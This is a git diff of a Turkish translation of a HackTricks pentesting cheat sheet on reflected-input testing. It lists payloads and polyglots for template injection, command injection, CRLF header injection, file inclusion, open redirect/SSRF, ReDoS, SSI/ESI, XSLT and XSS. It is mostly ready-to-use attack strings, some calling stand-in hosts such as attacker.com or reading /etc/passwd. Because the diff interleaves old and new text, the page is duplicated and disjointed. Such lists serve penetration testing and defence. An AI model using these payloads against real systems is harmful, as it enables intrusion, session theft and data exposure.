<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,31 +1,31 @@
# Reflecting Techniques - PoCs and Polygloths CheatSheet
# Yansıma Teknikleri - PoCs ve Polyglotlar CheatSheet
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Bu PoC'lar ve Polygloths'ların amacı, testçiye **girişinin yanıtta bir şekilde yansıtılıyorsa** sömürebileceği zayıflıkların hızlı bir **özetini** sunmaktır.
Bu PoCs ve Polyglotların amacı, testere **girdiğinin yanıt içinde bir şekilde yansıtılabileceği** durumlarda, istismar edebileceği zafiyetlerin hızlı bir **özetini** vermektir.
{% hint style="warning" %}
Bu **hile kağıdı, her zayıflık için kapsamlı bir test listesi sunmamaktadır**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her zayıflığa erişin.
Bu **cheatsheet, her zafiyet için kapsamlı bir test listesi önermemektedir**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her zafiyete erişin.
{% endhint %}
{% hint style="danger" %}
XXE gibi **Content-Type bağımlı enjeksiyonları burada bulamazsınız**, genellikle xml verisi gönderen bir istek bulursanız bunları kendiniz denersiniz. Ayrıca, **veritabanı enjeksiyonlarını** burada bulamazsınız çünkü bazı içerikler yansıtılsa bile, bu durum backend DB teknolojisi ve yapısına bağlıdır.
**XXE gibi İçerik Türüne bağlı enjeksiyonlar bulamayacaksınız**, çünkü genellikle xml verisi gönderen bir istek bulursanız bunları kendiniz deneyeceksiniz. **Burada veritabanı enjeksiyonları da bulamayacaksınız**, çünkü bazı içerikler yansıtılsa bile bu, arka uç DB teknolojisi ve yapısına büyük ölçüde bağlıdır.
{% endhint %}
## Polygloths listesi
## Polyglotlar listesi
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -65,46 +65,20 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
## [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)
## [Client Side Template Injection](../client-side-template-injection-csti.md)
### Temel Testler
```
{{7*7}}
[7*7]
```
### Çokdillilik
Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırılarda kullanılan birçok farklı senaryoda kullanılabilir. Aşağıda, bazı yaygın polyglot senaryoları ve kullanımları bulunmaktadır.
#### 1. XSS ve CSRF Polyglotları
XSS (Cross-Site Scripting) ve CSRF (Cross-Site Request Forgery) saldırıları için polyglotlar, hedef uygulamalarda güvenlik açıklarını sömürmek için kullanılabilir. Bu polyglotlar, hem HTML hem de JavaScript kodunu içeren bir yapıya sahiptir. Bu sayede, bir saldırgan, aynı dosyayı hem bir HTML sayfası olarak sunabilir hem de JavaScript kodu olarak çalıştırabilir.
#### 2. Dosya Yükleme Polyglotları
Dosya yükleme saldırıları için polyglotlar, hedef uygulamalarda dosya yükleme işlemlerini manipüle etmek için kullanılabilir. Bu polyglotlar, birden fazla dosya biçimini destekleyen bir yapıya sahiptir. Örneğin, bir polyglot dosyası hem bir resim dosyası olarak görünebilir hem de bir betik dosyası olarak çalıştırılabilir.
#### 3. Dosya İndirme Polyglotları
Dosya indirme saldırıları için polyglotlar, hedef kullanıcılara zararlı dosyaları indirmeleri için yanıltıcı bir şekilde sunulabilir. Bu polyglotlar, birden fazla dosya biçimini destekleyen bir yapıya sahiptir. Örneğin, bir polyglot dosyası hem bir PDF belgesi olarak görünebilir hem de bir uygulama dosyası olarak çalıştırılabilir.
#### 4. Veritabanı Sızıntısı Polyglotları
Veritabanı sızıntısı saldırıları için polyglotlar, hedef veritabanlarından veri çalmak için kullanılabilir. Bu polyglotlar, hem SQL hem de diğer veritabanı sorgu dillerini destekleyen bir yapıya sahiptir. Bu sayede, bir saldırgan, aynı dosyayı hem SQL sorgusu olarak çalıştırabilir hem de diğer veritabanı sorgu dilleriyle uyumlu bir şekilde kullanabilir.
Polyglotlar, siber saldırılarda çok yönlü bir araç olarak kullanılabilir. Saldırganlar, bu teknikleri kullanarak hedef sistemlerdeki güvenlik açıklarını sömürebilir ve istedikleri sonuçları elde edebilirler. Bu nedenle, güvenlik uzmanlarının polyglot saldırılarına karşı dikkatli olmaları ve gerekli önlemleri almaları önemlidir.
### Poliglotlar
```bash
{{7*7}}[7*7]
```
## [Komut Enjeksiyonu](../command-injection.md)
### Temel Testler
```bash
;ls
||ls;
@ -115,129 +89,29 @@ Polyglotlar, siber saldırılarda çok yönlü bir araç olarak kullanılabilir.
`ls`
$(ls)
```
### Çokdillilik
Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırılarda kullanılan birçok farklı senaryoda kullanılabilir. Aşağıda, bazı yaygın polyglot senaryoları ve kullanımları bulunmaktadır.
#### 1. XSS ve CSRF Polyglotları
XSS (Cross-Site Scripting) ve CSRF (Cross-Site Request Forgery) saldırıları için polyglotlar, hedef uygulamalarda güvenlik açıklarını sömürmek için kullanılabilir. Bu polyglotlar, hem HTML hem de JavaScript kodunu içeren bir yapıya sahiptir. Bu sayede, bir saldırgan, hedef uygulamada XSS veya CSRF saldırısı gerçekleştirebilir.
#### 2. Dosya Yükleme Polyglotları
Dosya yükleme işlemlerinde polyglotlar kullanılarak güvenlik açıkları sömürülebilir. Örneğin, bir saldırgan, bir resim dosyası gibi görünen bir polyglot dosyasını hedef uygulamaya yükleyebilir. Bu dosya, aslında bir kötü amaçlı betik içerebilir ve hedef uygulamada istenmeyen davranışlara neden olabilir.
#### 3. Veritabanı Sızıntısı Polyglotları
Veritabanı sızıntısı polyglotları, hedef veritabanına saldırmak için kullanılabilir. Bu polyglotlar, SQL enjeksiyonu veya NoSQL enjeksiyonu gibi saldırı tekniklerini içerebilir. Bir saldırgan, hedef veritabanında istenmeyen verilere erişebilir veya veritabanını tamamen ele geçirebilir.
#### 4. Dosya İndirme Polyglotları
Dosya indirme polyglotları, hedef kullanıcının bilgisayarına zararlı dosyalar indirmek için kullanılabilir. Bu polyglotlar, bir dosyanın hem zararsız bir dosya gibi görünmesini hem de zararlı bir betik içermesini sağlar. Bir saldırgan, hedef kullanıcının bilgisayarına zararlı bir dosya indirebilir ve bu dosya aracılığıyla hedef sistemi ele geçirebilir.
Polyglotlar, siber saldırılarda kullanılan çok yönlü araçlardır. Saldırganlar, bu teknikleri kullanarak hedef sistemlerdeki güvenlik açıklarını sömürebilir ve istenmeyen sonuçlara yol açabilir. Bu nedenle, güvenlik uzmanlarının polyglot saldırılarına karşı dikkatli olmaları ve uygun önlemleri almaları önemlidir.
### Poliglotlar
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
## [CRLF](../crlf-0d-0a.md)
### Temel Testler
#### CRLF Injection
**HTTP Response Splitting**
* **Description**: CRLF Injection, also known as HTTP Response Splitting, is a web vulnerability that allows an attacker to inject CRLF characters (%0D%0A or \r\n) into an HTTP response header. This can lead to various attacks such as HTTP response splitting, cache poisoning, cross-site scripting (XSS), and session hijacking.
* **Impact**: By injecting CRLF characters into the response header, an attacker can manipulate the HTTP response and potentially perform attacks like injecting malicious content, redirecting users to malicious websites, or stealing sensitive information.
* **Detection**: To detect CRLF Injection vulnerabilities, you can send a request with a payload containing CRLF characters and check if they are reflected in the response header. If the response header contains the injected CRLF characters, it indicates a potential vulnerability.
* **Prevention**: To prevent CRLF Injection vulnerabilities, it is important to properly validate and sanitize user input before using it in HTTP response headers. Additionally, web application firewalls (WAFs) can help detect and block CRLF Injection attacks.
**SMTP Response Injection**
* **Description**: CRLF Injection can also occur in SMTP (Simple Mail Transfer Protocol) responses. By injecting CRLF characters into an SMTP response, an attacker can manipulate the email content and potentially perform attacks like injecting malicious content, spoofing email headers, or sending phishing emails.
* **Impact**: CRLF Injection in SMTP responses can lead to various attacks such as email header injection, email spoofing, or sending malicious attachments. This can result in unauthorized access to sensitive information or the compromise of email accounts.
* **Detection**: To detect CRLF Injection vulnerabilities in SMTP responses, you can send a test email with a payload containing CRLF characters and check if they are reflected in the email content. If the email content contains the injected CRLF characters, it indicates a potential vulnerability.
* **Prevention**: To prevent CRLF Injection in SMTP responses, it is important to properly validate and sanitize user input before using it in email content. Additionally, implementing email security measures such as SPF (Sender Policy Framework) and DKIM (DomainKeys Identified Mail) can help prevent email spoofing and unauthorized access to email accounts.
#### CRLF Polyglots
**Description**
CRLF Polyglots are payloads that can be interpreted as valid CRLF characters in multiple contexts. These payloads can be used to bypass input validation and perform various attacks.
**Examples**
* **%0D%0A**: This payload represents the CRLF characters in URL encoding format. It can be interpreted as CRLF in HTTP response headers, SMTP responses, and other contexts where CRLF characters are significant.
* **%0d%0a**: This payload represents the CRLF characters in lowercase URL encoding format. It can be interpreted as CRLF in the same contexts as the previous example.
* **%0d%0a%09**: This payload represents the CRLF characters followed by a tab character (%09) in URL encoding format. It can be interpreted as CRLF followed by a tab in certain contexts.
**Detection**
To detect CRLF Polyglots, you can send requests with different payloads containing CRLF characters and observe how they are interpreted in different contexts. If a payload is interpreted as CRLF in multiple contexts, it indicates the presence of a CRLF Polyglot.
**Prevention**
To prevent CRLF Polyglot attacks, it is important to implement strict input validation and sanitization mechanisms. Additionally, using security libraries or frameworks that automatically handle encoding and decoding of user input can help prevent CRLF Injection vulnerabilities.
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## Sarkan İşaretleme
## Dangling Markup
### Temel Testler
#### HTML Injection
An HTML injection vulnerability occurs when an application does not properly sanitize user input and allows malicious HTML code to be injected and executed in the application's output. This can lead to various attacks such as cross-site scripting (XSS) and defacement of the website.
To test for HTML injection, you can try injecting simple HTML tags like `<script>alert('XSS')</script>` into input fields or parameters that are susceptible to injection. If the injected code is executed and the alert message is displayed, it indicates a potential HTML injection vulnerability.
#### SQL Injection
SQL injection is a common vulnerability that occurs when an application does not properly validate and sanitize user input before constructing SQL queries. Attackers can exploit this vulnerability to manipulate the SQL queries and perform unauthorized actions, such as retrieving sensitive data or modifying the database.
To test for SQL injection, you can try injecting SQL statements like `1' OR '1'='1` into input fields or parameters that are susceptible to injection. If the application responds differently or displays error messages indicating a SQL error, it suggests a potential SQL injection vulnerability.
#### Command Injection
Command injection occurs when an application allows user-supplied input to be executed as a command on the underlying operating system. Attackers can exploit this vulnerability to execute arbitrary commands and potentially gain unauthorized access to the system.
To test for command injection, you can try injecting commands like `;ls` or `| cat /etc/passwd` into input fields or parameters that are susceptible to injection. If the injected command is executed and the output is displayed, it indicates a potential command injection vulnerability.
#### Path Traversal
Path traversal, also known as directory traversal, is a vulnerability that allows attackers to access files and directories outside of the intended directory structure. This can lead to unauthorized access to sensitive files, including configuration files, source code, and user data.
To test for path traversal, you can try appending `../` or `%2e%2e/` to the URL or file path to navigate to parent directories. If the application allows access to files or directories outside of the intended scope, it suggests a potential path traversal vulnerability.
#### Server-Side Request Forgery (SSRF)
SSRF is a vulnerability that allows attackers to make requests from the vulnerable server to other internal or external resources. This can be used to bypass access controls, scan internal networks, or perform attacks against other systems.
To test for SSRF, you can try providing URLs of internal resources, such as `http://localhost`, or external resources, such as `http://attacker.com`, as input. If the application makes requests to these resources and returns the responses, it indicates a potential SSRF vulnerability.
#### XML External Entity (XXE) Injection
XXE injection is a vulnerability that occurs when an application processes XML input without disabling external entity references. Attackers can exploit this vulnerability to read sensitive files, perform server-side request forgery (SSRF), or launch denial-of-service attacks.
To test for XXE injection, you can try injecting XML entities like `<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` into XML input fields or parameters that are susceptible to injection. If the application processes the entity and returns the content of the specified file, it suggests a potential XXE injection vulnerability.
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [Dosya Dahil Etme/Yol Geçişi](https://github.com/carlospolop/hacktricks/blob/tr/pentesting-web/dosya-dahil-etme/README.md)
## [Dosya Dahil Etme/Yol Geçişi](../file-inclusion/)
### Temel Testler
```bash
/etc/passwd
../../../../../../etc/hosts
@ -250,11 +124,9 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [ık Yönlendirme](../open-redirect.md) / [Sunucu Tarafı İstek Sahteciliği](../ssrf-server-side-request-forgery/)
### Temel Testler
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
@ -262,86 +134,34 @@ https://google.com
//google.com
javascript:alert(1)
```
## [ReDoS](../regular-expression-denial-of-service-redos.md)
### Temel Testler
````html
<details>
<summary>Test 1</summary>
```javascript
/^([a-z])+$/i.test('a'.repeat(10**6))
````
<details>
<summary>Test 2</summary>
```javascript
/^([a-z])+$/i.test('a'.repeat(10**7))
```
</details>
<details>
<summary>Test 3</summary>
```javascript
/^([a-z])+$/i.test('a'.repeat(10**8))
```
</details>
\`\`\`
### Açıklama
Bu testler, ReDoS saldırılarını tespit etmek için basit bir şekilde kullanılabilir. Her bir test, bir dizi küçük harfli "a" karakterinin tekrarlanmasıyla oluşturulan bir dizeyi test eder. Bu testler, düzenli ifadelerin geriye dönük referanslarından kaynaklanan performans sorunlarını ortaya çıkarabilir.
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
## [Sunucu Tarafı Ekleme/Kenar Tarafı Ekleme](../server-side-inclusion-edge-side-inclusion-injection.md)
## [Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme](../server-side-inclusion-edge-side-inclusion-injection.md)
### Temel Testler
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Çokdillilik
Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırganlar tarafından sızma testlerinde kullanılan bir tekniktir çünkü hedef sistemde birden fazla zafiyetin keşfedilmesine olanak tanır.
Polyglotlar, birden fazla dil veya biçimde geçerli olan belirli bir yapıyı kullanarak oluşturulur. Bu yapı, farklı yorumlayıcılarda veya işleme sistemlerinde farklı sonuçlar üretebilir. Bu nedenle, bir polyglot dosyası, farklı dillerde veya biçimlerde işlenebilir ve farklı sonuçlar üretebilir.
Polyglotlar, siber saldırganlar tarafından çeşitli saldırı vektörleri için kullanılabilir. Örneğin, bir polyglot dosyası, bir web uygulamasında güvenlik açıklarını tetikleyebilir veya bir sistemde kod yürütme sağlayabilir. Polyglotlar ayrıca, güvenlik duvarlarını atlamak veya güvenlik önlemlerini yanıltmak için kullanılabilir.
Polyglot dosyaları oluşturmak için dikkatlice tasarlanmış bir yapı kullanmak önemlidir. Bu, dosyanın birden fazla dil veya biçimde geçerli olmasını sağlar. Polyglot dosyaları oluştururken, dosyanın her dil veya biçimde geçerli olmasını sağlamak için uygun dil veya biçim özelliklerini kullanmak önemlidir.
Polyglot dosyaları, sızma testlerinde kullanılan etkili bir tekniktir çünkü birden fazla zafiyetin keşfedilmesine olanak tanır. Bu nedenle, siber saldırganlar tarafından kullanılan birçok saldırı vektörünü içeren bir polyglot dosyası oluşturmak, hedef sistemdeki güvenlik açıklarını tespit etmek için önemli bir araç olabilir.
### Poliglotlar
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
## [Sunucu Tarafı İstek Sahteciliği](../ssrf-server-side-request-forgery/)
Open Redirect için kullanılan aynı testler burada da kullanılabilir.
Aynı testler, Burada da Kullanılabilir.
## [Sunucu Tarafı Şablon Enjeksiyonu](../ssti-server-side-template-injection/)
## [Server Side Template Injection](../ssti-server-side-template-injection/)
### Temel Testler
```markup
${{<%[%'"}}%\
{{7*7}}
@ -350,106 +170,30 @@ ${7*7}
${{7*7}}
#{7*7}
```
### Çokdillilik
Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırılarda kullanılan birçok farklı senaryoda kullanılabilir. Aşağıda, bazı yaygın polyglot senaryoları ve kullanımları bulunmaktadır.
#### 1. XSS ve CSRF Polyglotları
XSS (Cross-Site Scripting) ve CSRF (Cross-Site Request Forgery) saldırıları için polyglotlar, hedef uygulamalarda güvenlik açıklarını sömürmek için kullanılabilir. Bu polyglotlar, hem HTML hem de JavaScript kodunu içeren bir yapıya sahiptir. Bu sayede, bir saldırgan, aynı dosyayı hem bir HTML sayfası olarak sunabilir hem de JavaScript kodu olarak çalıştırabilir.
#### 2. Dosya Yükleme Polyglotları
Dosya yükleme saldırıları için polyglotlar, hedef uygulamalarda dosya yükleme işlemlerini manipüle etmek için kullanılabilir. Bu polyglotlar, birden fazla dosya biçimini destekleyen bir yapıya sahiptir. Örneğin, bir polyglot dosyası hem bir resim dosyası olarak görünebilir hem de bir betik dosyası olarak çalıştırılabilir.
#### 3. Dosya İndirme Polyglotları
Dosya indirme saldırıları için polyglotlar, hedef kullanıcılara zararlı dosyaları indirmeleri için yanıltıcı bir şekilde sunulabilir. Bu polyglotlar, birden fazla dosya biçimini destekleyen bir yapıya sahiptir. Örneğin, bir polyglot dosyası hem bir PDF belgesi olarak görünebilir hem de bir uygulama dosyası olarak çalıştırılabilir.
#### 4. Veritabanı Sızıntısı Polyglotları
Veritabanı sızıntısı saldırıları için polyglotlar, hedef veritabanlarından veri çalmak için kullanılabilir. Bu polyglotlar, hem SQL hem de diğer veritabanı sorgu dillerini destekleyen bir yapıya sahiptir. Bu sayede, bir saldırgan, aynı dosyayı hem SQL sorgusu olarak çalıştırabilir hem de diğer veritabanı sorgu dilleriyle uyumlu bir şekilde kullanabilir.
Polyglotlar, siber saldırılarda çok yönlü bir araç olarak kullanılabilir. Saldırganlar, bu teknikleri kullanarak hedef sistemlerdeki güvenlik açıklarını sömürebilir ve istedikleri sonuçları elde edebilirler. Bu nedenle, güvenlik uzmanlarının polyglot saldırılarına karşı dikkatli olmaları ve gerekli önlemleri almaları önemlidir.
### Poliglotlar
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [XSLT Sunucu Tarafı Enjeksiyonu](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Temel Testler
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Çokdillilik
Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırganlar tarafından sıklıkla kullanılan bir tekniktir çünkü hedef sistemde birden fazla zafiyetin sömürülmesine izin verir.
Polyglotlar, birden fazla dil veya biçimde geçerli olan bir dosya oluşturmak için farklı dil veya biçim özelliklerini birleştirir. Bu, bir dosyanın hem bir resim dosyası olarak görüntülenebilmesini hem de bir betik veya kod olarak yorumlanabilmesini sağlar. Bu, saldırganların hedef sistemdeki güvenlik açıklarını keşfetmek veya kötü amaçlı kodu hedef sistemde çalıştırmak için kullanabilecekleri çok yönlü bir araç sağlar.
Polyglotlar, siber saldırganlar tarafından yaygın olarak kullanılan birçok saldırı vektörüne sahiptir. Örneğin, bir polyglot dosyası, bir web uygulamasında güvenlik açığı bulmak için kullanılan bir SQL enjeksiyon saldırısını gerçekleştirebilir veya bir XSS saldırısı için kullanılabilir. Ayrıca, bir polyglot dosyası, hedef sistemdeki bir güvenlik açığını sömürmek için kullanılan bir kötü amaçlı yazılımı da içerebilir.
Polyglotlar, siber saldırganlar tarafından kullanılan birçok farklı saldırı senaryosunda etkili bir şekilde kullanılabilir. Bu nedenle, siber güvenlik uzmanlarının polyglot dosyaları hakkında bilgi sahibi olması ve bu tür saldırılara karşı savunma mekanizmalarını geliştirmesi önemlidir.
### Poliglotlar
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### Temel Testler
#### Reflected XSS
Reflected XSS, kullanıcının girdilerinin doğrudan web uygulaması tarafından geri döndürüldüğü durumlarda ortaya çıkar. Bu tür bir saldırıda, saldırgan, kullanıcının girdilerine kötü amaçlı bir kod enjekte eder ve bu kod, web uygulaması tarafından geri döndürülen sayfada çalıştırılır.
Reflected XSS saldırısını tespit etmek için aşağıdaki adımları izleyebilirsiniz:
1. Kullanıcının girdisine `<script>alert('XSS')</script>` gibi bir kötü amaçlı kod ekleyin.
2. Girdiyi gönderin ve web uygulamasının yanıtını kontrol edin.
3. Eğer web uygulaması, kötü amaçlı kodu çalıştırarak "XSS" mesajını görüntülüyorsa, Reflected XSS açığına sahip olabilir.
#### Stored XSS
Stored XSS, kullanıcının girdilerinin web uygulaması tarafından veritabanına kaydedildiği durumlarda ortaya çıkar. Bu tür bir saldırıda, saldırgan, kullanıcının girdilerine kötü amaçlı bir kod enjekte eder ve bu kod, web uygulaması tarafından veritabanından alınıp kullanıcılara gösterildiğinde çalıştırılır.
Stored XSS saldırısını tespit etmek için aşağıdaki adımları izleyebilirsiniz:
1. Kullanıcının girdisine `<script>alert('XSS')</script>` gibi bir kötü amaçlı kod ekleyin.
2. Girdiyi gönderin ve web uygulamasının yanıtını kontrol edin.
3. Eğer web uygulaması, kötü amaçlı kodu çalıştırarak "XSS" mesajını görüntülüyorsa, Stored XSS açığına sahip olabilir.
#### DOM-based XSS
DOM-based XSS, web uygulamasının JavaScript kodu tarafından oluşturulan DOM (Document Object Model) üzerindeki güvenlik açıklarından kaynaklanır. Bu tür bir saldırıda, saldırgan, web uygulamasının DOM yapısını manipüle ederek kötü amaçlı bir kod enjekte eder ve bu kod, web uygulaması tarafından çalıştırıldığında kullanıcılara etki eder.
DOM-based XSS saldırısını tespit etmek için aşağıdaki adımları izleyebilirsiniz:
1. Kullanıcının girdisine `<script>alert('XSS')</script>` gibi bir kötü amaçlı kod ekleyin.
2. Girdiyi gönderin ve web uygulamasının yanıtını kontrol edin.
3. Eğer web uygulaması, kötü amaçlı kodu çalıştırarak "XSS" mesajını görüntülüyorsa, DOM-based XSS açığına sahip olabilir.
```markup
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Çokdillilik
Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırganlar tarafından sıklıkla kullanılan bir tekniktir çünkü hedef sistemde birden fazla zafiyetin sömürülmesine izin verir.
Polyglotlar, birden fazla dil veya biçimde geçerli olan bir dosya oluşturmak için farklı dil veya biçim özelliklerini birleştirir. Bu, bir dosyanın hem bir resim dosyası olarak görüntülenebilmesini hem de bir betik veya kod olarak yorumlanabilmesini sağlar. Bu, saldırganların hedef sistemdeki güvenlik açıklarını keşfetmek veya kötü amaçlı kodu hedef sistemde çalıştırmak için kullanabilecekleri çok yönlü bir araç sağlar.
Polyglotlar, siber saldırganlar tarafından yaygın olarak kullanılan birçok saldırı vektörüne sahiptir. Örneğin, bir polyglot dosyası, bir web uygulamasında güvenlik açığı bulmak için kullanılan bir SQL enjeksiyon saldırısını gerçekleştirebilir veya bir XSS saldırısı için kullanılabilir. Ayrıca, bir polyglot dosyası, hedef sistemdeki bir güvenlik açığını sömürmek için kullanılan bir kötü amaçlı yazılımı da içerebilir.
Polyglotlar, siber saldırganlar tarafından kullanılan birçok farklı saldırı senaryosunda etkili bir şekilde kullanılabilir. Bu nedenle, siber güvenlik uzmanlarının polyglot dosyaları hakkında bilgi sahibi olması ve bu tür saldırılara karşı savunma mekanizmaları geliştirmesi önemlidir.
### Poliglotlar
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
@ -477,17 +221,17 @@ javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
